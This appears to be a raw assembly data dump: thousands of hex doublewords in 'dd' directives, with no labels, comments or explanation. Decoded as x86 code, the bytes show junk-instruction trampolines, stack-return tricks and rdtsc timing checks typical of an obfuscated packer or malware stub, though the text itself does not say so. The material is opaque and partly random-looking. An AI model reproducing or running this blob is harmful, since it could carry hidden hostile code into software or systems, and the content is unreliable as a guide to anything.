		dd 20B10229h, 6A90F1B9h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 18042444h, 40000000h, 0F1BDC350h,	0FF1BAA52h
		dd 62C1D95h, 51006A06h,	3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1A04h, 0C3514100h, 0AC39B4F8h, 29E26C2Fh, 61C398Dh
		dd 0E20E906h, 0E80000h,	5D000000h, 0C1E2ED81h, 6A060Ah
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1D0424h, 52420000h
		dd 804F7CC3h, 0B7F6D4CAh, 8B328D82h, 614CD9Dh, 8DDA8B06h
		dd 98EE585h, 53006A06h,	3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1704h, 0C3534300h, 2EE53CF2h, 33F99D89h, 60500606h
		dd 605184B3h, 89615A61h, 6A2404h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 180424h, 56460000h, 733DC2C3h, 62BB78DDh
		dd 0F7405C2h, 185h, 0FF64F500h,	35h, 55006A00h,	3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1404h,	0C3554500h, 258964B8h
		dd 0
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 15h, 43C35646h
		dd 5D85FF8Bh, 0E806060Fh, 5, 44463F1Ch,	5FFE8B4Ah, 9589FF6Ah
		dd 6062BA1h, 2D29B5FFh,	6A0606h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 180424h, 57470000h, 0F99717C3h, 605026C7h
		dd 294D8D89h, 8E90606h,	44000000h, 0CFED4A21h, 61D5CFF9h
		dd 0FD95FF5Fh, 0E9060612h, 0EBh, 0B0DFBF0Fh, 68E0F00h
		dd 31000000h, 622B195h,	0E470E606h, 3CDD8A71h, 0CC830F61h
		dd 0F000000h, 9589C8B6h, 6062DD1h, 6BAh, 11B58900h, 8B060613h
		dd 6E9C1h, 79020000h, 7987210Bh, 0DE9h,	0C5A0AB00h, 0F5D8BFEh
		dd 325DF423h, 0E8C1EECAh, 0FAB70F04h, 0F5E2F766h, 2B77D780h
		dd 0AD9D89C8h, 8B06061Bh, 7CE9F9D1h, 81000000h,	7FADF6C3h
		dd 1858B3Eh, 0F000000h,	83h, 718D8900h,	83060629h, 12BF07C0h
		dd 8979ACB6h, 62225B5h,	0C08306h, 830FD03Bh, 0Ch, 7D1BD2Bh
		dd 40E90606h, 0FC000000h, 0FFFF8D8Bh, 890FFFFFh, 6, 22319589h
		dd 0E1830606h, 24840F01h, 89000000h, 61E4D8Dh, 0FFA58306h
		dd 0FEFFFFFFh, 4ADF8166h, 198D0186h, 89060621h,	195h, 0E9F900h
		dd 8D000000h, 0A424AB5h, 7DB58906h, 6A06061Dh, 57006A00h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1704h, 0C3574700h
		dd 0E4FEB4F7h, 1AC995FFh, 6A0606h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 150424h, 50400000h, 66DFA0C3h, 0B5B9DA8Bh
		dd 6A00000Fh, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 1D042444h, 47000000h, 6DBAC357h, 0DD6BF4Eh, 0A048B20Dh
		dd 5E9h, 4E3C6D00h, 0E18330F8h,	50006AFCh, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1804h,	0C3504000h, 7EDC37D7h
		dd 840FFC8Eh, 6, 29659589h, 0B80606h, 89000000h, 61E7995h
		dd 0D1BD8B06h, 0BA060613h, 0
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 18h, 0AEC35646h
		dd 21063BA3h, 2C959D8Bh, 33AD0606h, 3E8D1C2h, 4E983D0h
		dd 6AF475h, 3E850h, 58200000h, 448958C3h, 44810424h, 1C0424h
		dd 50400000h, 26DEFAC3h, 2E9D50BAh, 89608523h, 60F6595h
		dd 5E95706h, 27000000h,	2F6BAC75h, 880D615Eh, 6A000000h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 16042444h
		dd 42000000h, 0D221C352h, 0DD958B28h, 6A060628h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 17042444h, 42000000h
		dd 0BA38C352h, 8589B872h, 6062599h, 11118D8Bh, 9D8B0606h
		dd 60600A1h, 8E9h, 0F4691A00h, 45390FD3h, 0C28B505Bh, 0C103188Bh
		dd 0C18B188Bh, 0C203E8D1h, 0F58188Bh, 6ADABFh, 3E852h
		dd 5A200000h, 54895AC3h, 44810424h, 160424h, 52420000h
		dd 10D3E7C3h, 1AF5BD83h, 0F000606h, 7484h, 55006A00h, 3E8h
		dd 0C35D2000h, 246C895Dh, 24448104h, 1D04h, 0C3554500h
		dd 0F80DA368h, 961FA69h, 0CB805744h, 0B80Dh, 0BB660000h
		dd 8D8DE884h, 6064ED2h,	0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 15h, 7C35343h, 6E8DFh, 51EF0000h, 29AD1C0Eh
		dd 7E9h, 81DD5200h, 5AA3BFh, 89E1FF5Bh,	61BD5BDh, 49BD8306h
		dd 6062Eh, 453840Fh, 6A0000h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 190424h, 51410000h, 9D586FC3h, 83A92DA6h
		dd 62E49BDh, 840F0106h,	440h, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 19h, 73C35242h, 2D06AFCFh, 49BD8389h
		dd 306062Eh, 3DC860Fh, 6A0000h,	3E857h,	5F200000h, 7C895FC3h
		dd 44810424h, 150424h, 57470000h, 0F779CC3h, 0C81h, 6800F00h
		dd 3000000h, 63401BDh, 0E1BD3106h, 60060607h, 7E956h, 794B0000h
		dd 0AEA51422h, 8C665F2Ah, 50006AD9h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1804h,	0C3504000h, 0F65BF7E6h
		dd 0B1BD8B8Ch, 8006060Eh, 7E904E1h, 4F000000h, 428A4FA6h
		dd 0C90A6F7Bh, 116840Fh, 12E90000h, 0D9000000h,	0C6393E89h
		dd 0B58EDDDh, 0F18BF256h, 7184CA50h, 6880F09h, 89000000h
		dd 625818Dh, 89858B06h,	89060625h, 60F098Dh, 25853306h
		dd 6A060634h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 17042444h, 42000000h, 674FC352h, 89605DF3h, 6228D95h
		dd 0D78B6606h, 50DF8B61h, 12E85250h, 6F000000h,	0FC36918Ch
		dd 658D0703h, 76390EA4h, 6CB7907Ch, 2337BF4Ah, 0F5B6343h
		dd 8B525031h, 0B7310FFBh, 5A585A46h, 24048958h,	14C9BD8Bh
		dd 6A0606h, 0E853006Ah,	3, 5BC35B20h, 4245C89h,	4244481h
		dd 17h,	7FC35343h, 808BE8CEh, 0BD890DDFh, 6061DC5h, 52A20E68h
		dd 81FA8ABBh, 61F12404h, 0BF6644CCh, 95FF9DEBh,	6062221h
		dd 32119589h, 0B70F0606h, 0A48589FAh, 6A0609A4h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 17042444h, 45000000h
		dd 31A1C355h, 0BF0F37D4h, 181E9D9h, 9D8B0000h, 6062891h
		dd 0A49C858Bh, 11E80609h, 75000000h, 4A06F2B3h,	25ECD6ACh
		dd 89D24804h, 0A0B29521h, 68B0Fh, 9D230000h, 60621E9h
		dd 830F5Bh, 0C7000000h,	1800h, 51006A00h, 3E8h,	0C3592000h
		dd 244C8959h, 24448104h, 1804h,	0C3514100h, 0CD1DBB9h
		dd 0B59D8B01h, 8B060614h, 9A4A0B5h, 0CD9D2306h,	8B060630h
		dd 62DA985h, 89F88B06h,	13C78106h, 8B487986h, 6258985h
		dd 52006A06h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1D04h
		dd 0C3524200h, 0DC3984D2h, 0B494E918h, 9589DC25h, 6061BE1h
		dd 8B044689h, 62F459Dh,	0F3BF5006h, 890F9E53h, 6A2434h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 160424h, 50400000h
		dd 86CEB5C3h, 0A399BF66h, 0A49CB5FFh, 6A0609h, 3E855h
		dd 5D200000h, 6C895DC3h, 44810424h, 150424h, 55450000h
		dd 6863FAC3h, 756B4BC4h, 34819DB3h, 74483B24h, 0A4858D75h
		dd 230609A4h, 62E5DBDh,	6870F06h, 89000000h, 6142995h
		dd 52509006h, 0AE9h, 0FA8F0700h, 58763D57h, 0FFB658Ah
		dd 56BF6631h, 50585A30h, 6E9h, 0A23F5800h, 9010D239h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 16h, 2CC35040h, 95FF4C43h
		dd 6062221h, 95F78166h,	818529D3h, 61060616h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 18h, 53C35545h, 22E85F0Ah
		dd 10E9h, 0EA812E00h, 0CEA08E4Fh, 0B4F00D8Bh, 5BEBA2B1h
		dd 4985C75Ah, 306062Eh,	6A000000h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 1D042444h, 47000000h, 0F549C357h
		dd 5FFFE5EFh, 15EFA5B7h, 0A4A4BD83h, 0F000609h,	5584h
		dd 50006A00h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1904h
		dd 0C3504000h, 0E2CA339h, 70B3A091h, 0C7B86660h, 4D9D8944h
		dd 61060633h, 3CE9h, 56006A00h,	3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1804h, 0C3564600h, 0D8830087h, 3050F800h
		dd 4400110Ch, 0E8C10111h, 11443010h, 114C0002h,	0E9835803h
		dd 0EBE77504h, 4305036h, 11640011h, 10E8C101h, 2114430h
		dd 3116400h, 4E98358h, 1BEBE775h, 10E8C150h, 3116428h
		dd 2114430h, 11642858h,	11043001h, 7504E983h, 8B00EBE7h
		dd 8D01F8C0h, 60614A5h,	2E49BD83h, 0F030606h, 4A485h, 55006A00h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1604h, 0C3554500h
		dd 83F810A0h, 9A4A4BDh,	840F0006h, 479h, 8860Fh, 860F0000h
		dd 2, 8B666160h, 0A4B5FFFAh, 800609A4h,	95FF93CBh, 6060D71h
		dd 11E8h, 97B99E00h, 7427491Bh,	82525936h, 29EF095Ah, 8166D91Fh
		dd 5F7566E3h, 0A498B58Bh, 6A0609h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 1B0424h, 55450000h, 0D1DE7FC3h, 0AD4D6739h
		dd 25BD8930h, 8B060625h, 613D99Dh, 106C706h, 6A000100h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 1A042444h
		dd 43000000h, 66FDC353h, 3D8F60A6h, 525050FEh, 0F525053h
		dd 5F585A31h, 0EE8310Fh, 3A000000h, 9B86277Bh, 0D945477Ch
		dd 43ACADB1h, 0FA8B66CCh, 89585A5Bh, 6A2434h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 1B0424h, 55450000h, 66FD3AC3h
		dd 3D8F60A6h, 12E8FEh, 5FCA0000h, 7B4CCAA8h, 0A09F6301h
		dd 0E70A6BA9h, 9E0E0335h, 35B20B7h, 607019Dh, 859D8906h
		dd 0FF06062Eh, 9A4A4B5h, 1606006h, 6288D8Dh, 0D98B6606h
		dd 11E961h, 1ED0000h, 39B2841Dh, 75B56C2h, 0AEC6B895h
		dd 61F7A205h, 1E4995FFh, 6A0606h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 140424h, 55450000h, 0F553C1C3h, 98B58B5Fh
		dd 8B0609A4h, 62FC585h,	55006A06h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1504h, 0C3554500h, 86896C98h, 0C4h, 0DD958BF5h
		dd 6A060628h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 1B042444h
		dd 42000000h, 0F270C352h, 9044B415h, 9D8BED8Fh,	6062881h
		dd 7419589h, 0C2830606h, 0B1F56004h, 508961AEh,	0D5B58920h
		dd 8D06061Dh, 9B77585h,	55006A06h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1C04h, 0C3554500h, 0DA3EB89Dh, 0CB6F128Ch
		dd 0ADBF6645h, 0C59D8B09h, 8906061Dh, 0B886h, 51006A00h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1A04h, 0C3514100h
		dd 864A0078h, 29E69B80h, 613B99Dh, 0F9BF0F06h, 0CE8h, 0CA0C8400h
		dd 0BF395B8h, 1299DFE3h, 49BD2B7Ah, 5F060611h, 6A006Ah
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1B0424h, 53430000h
		dd 0FF2348C3h, 0A9859C0Dh, 699D8BC6h, 0FF060601h, 9A4A4B5h
		dd 52006A06h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1C04h
		dd 0C3524200h, 0E8EF42B6h, 721A8292h, 11E380D8h, 7E19D0Bh
		dd 95FF0606h, 6062C1Dh,	0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 17h, 99C35141h, 60CAA2F6h,	38D0Fh,	8B660000h
		dd 71D580F0h, 5E89661h,	0A3000000h, 0CDACD735h,	719476BFh
		dd 0F505F75h, 28Ch, 96DE8B00h, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 19h, 17C35242h, 92D63AB2h, 0B70F53D0h
		dd 0B5FF5BDFh, 609A4A4h, 0E851006Ah, 3,	59C35920h, 4244C89h
		dd 4244481h, 19h, 0F2C35141h, 0EAC50400h, 81BD0BABh, 0FF060607h
		dd 61CA595h, 9B58906h, 83060615h, 61C99BDh, 840F0006h
		dd 1Fh,	0BE850F9h, 9E000000h, 816AC853h, 6B89CC0Eh, 8B666B2Ah
		dd 34895FFEh, 199D8B24h, 0FF06060Fh, 9A4A4B5h, 51006A06h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1904h, 0C3514100h
		dd 9511FF97h, 3534EE2h,	62E5DBDh, 95FF5B06h, 6061FFDh
		dd 2BD1BD0Bh, 0B5FF0606h, 609A4A4h, 0E851006Ah,	3, 59C35920h
		dd 4244C89h, 4244481h, 15h, 0AFC35141h,	1995FFC6h, 6A06062Bh
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 16042444h
		dd 45000000h, 0E6E4C355h, 0D781666Dh, 0BD83C2D2h, 6062F65h
		dd 4F840F02h, 80000000h, 858B0EEBh, 60615F1h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 16h, 0B4C35545h, 0F98B6AEFh
		dd 6A0000C6h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 19042444h, 45000000h, 0CC99C355h, 0BE3F0482h, 85C799B7h
		dd 606034Dh, 0
		dd 2981EB80h, 6115985h,	0F31EE906h, 6AFFFFh, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 140424h, 55450000h, 858912C3h
		dd 60614B1h, 6AC18Bh, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 160424h, 50400000h, 0EA0A34C3h, 1C59BD8Bh, 858D0606h
		dd 6062369h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 18h,	46C35343h, 0F8B604DBh, 0FE9h, 15B6CB00h, 219BD1D0h
		dd 0A33F5F77h, 97343FDAh, 0F88B6690h, 8E950h, 55D50000h
		dd 74D98E66h, 6A90AAB0h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 16042444h, 43000000h, 4E29C353h, 89006A83h
		dd 613758Dh, 19860F06h,	0E9000000h, 14h, 0D843D8CCh, 5B0824C0h
		dd 54AF8D81h, 0F57F720Bh, 969871C5h, 6A006Ah, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 170424h, 52420000h, 0B0F9D6C3h
		dd 0FA858D79h, 6A060AD1h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 14042444h, 42000000h, 8325C352h, 6A05C0h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 150424h, 51410000h
		dd 50C4B9C3h, 0B3D890BBh, 2404891Bh, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 19h, 0A0C35040h,	5B1A1EBh, 68D0F3Bh
		dd 81000000h, 0C0D72BE3h, 6AF80Eh, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 1Bh, 2FC35242h, 0DAEF2475h, 0E9C92E63h
		dd 8, 76FF8613h, 768C7EEAh, 6A006Ah, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 1D0424h, 50400000h, 154343C3h
		dd 2E9FB1BBh, 339FD50Dh, 613019Dh, 9D95FF06h, 8B06062Fh
		dd 630399Dh, 158D8D06h,	9060995h, 61035B5h, 0FD1FF06h
		dd 0BD83D9BFh, 6061D3Dh, 48850F01h, 23000000h, 61BE19Dh
		dd 8B026A06h, 61F659Dh,	50609006h, 50310F52h, 5A310F52h
		dd 61585A58h, 0F525050h, 58D0F31h, 0BF000000h, 7F5ADD9h
		dd 0F90585Ah, 682h, 47F78100h, 0FF221D9Eh, 62C1D95h, 359D8B06h
		dd 0E9060614h, 0DE9h, 0E8h, 0ED815D00h,	60AD204h, 8BF9BF0Fh
		dd 1BD2BDEh, 8D06062Ch,	98EE585h, 0CFC78006h, 66605090h
		dd 0E9F9A4B9h, 0Bh, 5D2238E3h, 6661E140h, 61921112h, 5060505Bh
		dd 8FB96652h, 0B1310F1Ah, 0E9585A3Ch, 8, 9D629391h, 58BD2778h
		dd 6A9061h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1C0424h
		dd 52420000h, 8E2309C3h, 61F34B2Ch, 12BFC540h, 6458E726h
		dd 35FFh, 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 1B0424h, 52420000h, 79DF83C3h, 0F31EF40Eh, 6860FCAh
		dd 9000000h, 62AE585h, 25896406h, 0
		dd 0F5D85FFh, 8A0F0606h, 6, 25D99D8Bh, 66570606h, 5BDDBDBBh
		dd 9D29FF6Ah, 60601A1h,	229DB5FFh, 60600606h, 0E9C2B70Fh
		dd 14h,	5F68FBCFh, 0F8CFE6E6h, 7BE68ABBh, 3ADAB403h, 0CEB371AEh
		dd 0D18B6661h, 0FD95FF61h, 0E9060612h, 159h, 295D9501h
		dd 0B00606h, 1BC99D8Bh,	70E60606h, 0A4BCF781h, 9D097447h
		dd 6062069h, 3CF871E4h,	32830F61h, 0E9000001h, 12h, 5E9C3018h
		dd 20A02002h, 0B8E8159Eh, 9F975DA3h, 0B60FF9F4h, 0AD9D8BC8h
		dd 0BA060611h, 6, 1C8D9D89h, 0C18B0606h, 2519589h, 0E8C10606h
		dd 71BD3304h, 66060610h, 9589E2F7h, 60627E9h, 8D89C82Bh
		dd 6062265h, 14E9D18Bh,	9C000000h, 3CE014BFh, 63BEB273h
		dd 17C4A772h, 3476E12Fh, 0E972C5DCh, 10h, 6C8967C5h, 0D1725DB4h
		dd 0AAC36345h, 1A7776A2h, 0B0E9h, 4858B00h, 23000000h
		dd 622B1BDh, 7C08306h, 6810Fh, 95290000h, 6061B1Dh, 6000C083h
		dd 26418D09h, 8D8B0606h, 6062D7Dh, 0FD03B61h, 3483h, 219D3300h
		dd 0E9060603h, 71h, 3990C781h, 850F7760h, 1Dh, 11E8h, 13D3D800h
		dd 0DC483E36h, 0D76E6199h, 9337349Fh, 0DF812AC8h, 552CD6B0h
		dd 0FF8D8B5Bh, 83FFFFFFh, 840F01E1h, 39h, 1D9BD8Bh, 0A5830606h
		dd 0FFFFFFFFh, 259D8BFEh, 8906060Fh, 495h, 0E9D98B00h
		dd 14h,	61A25769h, 0F44F30E1h, 8B3FB7A9h, 77E3230Ch, 0D1576EE1h
		dd 0E9h, 0FFB58D00h, 50060A51h,	0E35BD23h, 6A5F0606h, 0FB8B6600h
		dd 1AC995FFh, 0BD8B0606h, 6060799h, 0E00B9h, 6820F00h
		dd 81000000h, 0F5FDD3F7h, 0FCE18343h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 18h, 0C8C35545h,	6DCDE4C1h, 13E8h
		dd 0F00D8B00h, 0EBA2B1B4h, 0D8485A5Bh, 62BFBACFh, 0F1890211h
		dd 2D859589h, 0F5F0606h, 687h, 799D8B00h, 0F060600h, 685h
		dd 16E38100h, 0FC33E0B5h, 0A9BD8B60h, 2906060Bh, 623A58Dh
		dd 0B86106h, 6A000000h,	3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 17042444h, 41000000h, 1FCBC351h, 8B66444Bh
		dd 0A9BD29F8h, 0BA060607h, 0
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Bh, 62C35343h
		dd 75C9C66Dh, 5120D09Eh, 2F259D8Bh, 0AD5F0606h,	0E8D1C233h
		dd 0E983D003h, 89F47504h, 60F258Dh, 55006A06h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1804h,	0C3554500h, 0FFF222B7h
		dd 880D02h, 8E80000h, 0BF000000h, 3D0BB525h, 8B4ECB82h
		dd 62985BDh, 958B5B06h,	60628DDh, 16699D8Bh, 8D8B0606h
		dd 6061111h, 23599D8Bh,	8B500606h, 3188BC2h, 8B188BC1h
		dd 3E8D1C1h, 58188BC2h,	8E9h, 0EF255900h, 906E5095h, 0DEEB8189h
		dd 836958F7h, 61AF5BDh,	840F0006h, 87h,	0E852006Ah, 3
		dd 5AC35A20h, 4245489h,	4244481h, 1Ah, 70C35242h, 0F6F2C36Bh
		dd 0BE9CAD5h, 54000000h, 0E2D64AB0h, 89E84C91h,	0B87BBFh
		dd 23000000h, 62B69BDh,	6830F06h, 89000000h, 625D995h
		dd 0D28D8D06h, 0F06064Eh, 0E1FFD9BFh, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 1Ah, 0F6C35545h,	0D391F37Bh, 9D89E89Ah
		dd 6060709h, 32CB8166h,	25B58996h, 83060627h, 62E49BDh
		dd 840F0006h, 4A9h, 9E9h, 23654200h, 0BB76DE8Ah, 95297E18h
		dd 60614B9h, 2E49BD83h,	0F010606h, 4A384h, 57006A00h, 3E8h
		dd 0C35F2000h, 247C895Fh, 24448104h, 1C04h, 0C3574700h
		dd 316F3806h, 0E075D33Ah, 0C5BD8B57h, 83060606h, 62E49BDh
		dd 860F0306h, 436h, 0B360FC8Ah,	0D98C6650h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 0A0C35242h, 24E36291h
		dd 0F7E2DCDh, 681h, 218D8900h, 8006062Eh, 6A04E1h, 3E852h
		dd 5A200000h, 54895AC3h, 44810424h, 170424h, 52420000h
		dd 0FF28ECC3h, 0D88B66B8h, 840FC90Ah, 110h, 78B96660h
		dd 0B9850103h, 61060600h, 2589858Bh, 820F0606h,	4, 8B57BB66h
		dd 34258533h, 6A0606h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 140424h, 51410000h, 9D3304C3h, 6060EC1h, 52505090h
		dd 0FF98B66h, 5AFB8B31h, 6A9058h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 150424h, 50400000h, 80D81DC3h, 0D2BBC1DFh
		dd 6A352A4Ch, 8B0F00h, 68000000h, 0A8361DC7h, 4337BF66h
		dd 38240481h, 157E8E6h,	60B818Dh, 2195FF06h, 6A060622h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 1A042444h
		dd 42000000h, 5CBCC352h, 854FA703h, 0C381667Ah,	8589F293h
		dd 609A4A4h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 19h,	8FC35343h, 0F39058CCh, 0FB8B6694h, 281E9h, 52006A00h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1704h, 0C3524200h
		dd 2453BA7Bh, 0A49C858Bh, 6A0609h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 160424h, 56460000h, 6055D7C3h, 1800C7h, 6A0000h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1D0424h, 56460000h
		dd 0C63490C3h, 90C49262h, 6643BC0Fh, 2917FFBFh,	62E19B5h
		dd 0A0B58B06h, 8B0609A4h, 0A9858BF9h, 8106062Dh, 0B4902DDFh
		dd 6A068938h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 1D042444h, 42000000h, 5CAEC352h, 1506E755h, 0E66F37E0h
		dd 89858BF5h, 6A060625h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 14042444h, 46000000h, 60EFC356h, 2658D01h
		dd 0B5890606h, 6061761h, 4468961h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 1Ah, 3FC35646h, 83962596h, 0BF66C196h
		dd 0B5313494h, 6060DF1h, 8B525050h, 0E8310FF8h,	14h, 0A9F0D8D3h
		dd 1200705Bh, 4C089F7Bh, 0A46C9931h, 460AE877h,	89585A5Bh
		dd 6A2434h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1D0424h
		dd 57470000h, 4B534C3h,	4AA79858h, 0FA30B33h, 0B5FFFAB7h
		dd 609A49Ch, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 17h,	0E3C35242h, 897F00B3h, 60D65BDh, 4E806h, 3FF0000h
		dd 0DF8B001Fh, 14E850h,	0EE5B0000h, 91FCEC5Fh, 9CDC5D86h
		dd 442A1A4Ah, 0CC0A4E3Eh, 8B66B045h, 448B5FF8h,	22B30424h
		dd 0DE9008Bh, 23000000h, 7F63214Fh, 7417D3BCh, 806756A6h
		dd 4244489h, 8B666057h,	585F61C6h, 22BDB589h, 858D0606h
		dd 609A4A4h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 18h,	17C35747h, 0FAB2D70Bh, 1539BD89h, 6E90606h, 1B000000h
		dd 208144D3h, 0E95090A9h, 11h, 8A495425h, 845BDD3Ch, 0EB894CE0h
		dd 4D877578h, 6A904Dh, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 1B0424h, 52420000h, 7BEC6CC3h, 1E448AE1h, 0E381FC83h
		dd 3E79BC42h, 222195FFh, 6A0606h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 180424h, 50400000h, 575616C3h, 6A61A209h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 1C042444h
		dd 42000000h, 0FDB2C352h, 1A56432Eh, 816128EEh,	0D53782DBh
		dd 4985C766h, 306062Eh,	81000000h, 7A6A33C7h, 38D0F55h
		dd 0F000000h, 0BD83D9B7h, 609A4A4h, 0F840F00h, 8B000000h
		dd 629899Dh, 1FE906h, 0BB660000h, 30504F97h, 4400110Ch
		dd 0E8C10111h, 11443010h, 114C0002h, 0E9835803h, 0EBE77504h
		dd 4305036h, 11640011h,	10E8C101h, 2114430h, 3116400h
		dd 4E98358h, 1BEBE775h,	10E8C150h, 3116428h, 2114430h
		dd 11642858h, 11043001h, 7504E983h, 8B00EBE7h, 57006AC0h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1704h, 0C3574700h
		dd 67F15823h, 13E8h, 6B0D1C00h,	0B950160Eh, 0BE45DA41h
		dd 9D8C1B2Ch, 0DD721172h, 665BDD8Ah, 0CFE9E381h, 10E8h
		dd 16B1C000h, 8F8D61h, 0D7A00D3Bh, 0D629C4F1h, 5E947h
		dd 0D5FC0000h, 5BC3BD48h, 2E49BD83h, 0F030606h,	40185h
		dd 53006A00h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1604h
		dd 0C3534300h, 83A20EFFh, 9A4A4BDh, 840F0006h, 3D6h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 18h, 7EC35747h, 0FC716152h
		dd 0A4A4B5FFh, 6A0609h,	3E852h,	5A200000h, 54895AC3h, 44810424h
		dd 1D0424h, 52420000h, 0CA64B2C3h, 0DD788360h, 0E86A767Fh
		dd 0Ch,	2AFD9647h, 0E1A6190Dh, 16AF1F4Fh, 2F198589h, 0FF5B0606h
		dd 60D7195h, 259D8B06h,	8B060615h, 9A498B5h, 0D99D0306h
		dd 8A060617h, 106C7F8h,	6A000100h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 1D042444h, 42000000h, 48BC352h
		dd 4A22DF66h, 65ED1820h, 24348950h, 0A5958960h,	0BF060621h
		dd 67487276h, 0A4B5FF61h, 6A0609A4h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 15042444h, 42000000h, 0E1B7C352h
		dd 7EF78166h, 4995FF56h, 6A06061Eh, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 1B042444h, 46000000h, 7115C356h
		dd 8C09B948h, 0B58B9DEBh, 609A498h, 0E852006Ah,	3, 5AC35A20h
		dd 4245489h, 4244481h, 17h, 0C0C35242h,	8B36C789h, 0C5858BF9h
		dd 0E906062Fh, 0Bh, 0E596FFE6h,	186BE7E0h, 89087C4Eh, 0C486h
		dd 0C7816600h, 958B594Fh, 60628DDh, 0E853006Ah,	3, 5BC35B20h
		dd 4245C89h, 4244481h, 1Ah, 50C35343h, 0B4FC61D7h, 0BF667F2Dh
		dd 9D097EFAh, 6062EF9h,	6A04C283h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 1D042444h, 42000000h, 0BB7C352h
		dd 0F5F7B037h, 757F4CDh, 89205089h, 62EF5B5h, 75858D06h
		dd 6A0609B7h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 1D042444h, 42000000h, 71D5C352h, 8FCD9E08h, 3A5A340h
		dd 0B88689h, 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 160424h, 50400000h, 1EA8F3C3h, 6820Fh, 8D890000h, 6063001h
		dd 1D258D31h, 6A0606h, 0F158589h, 0B5FF0606h, 609A4A4h
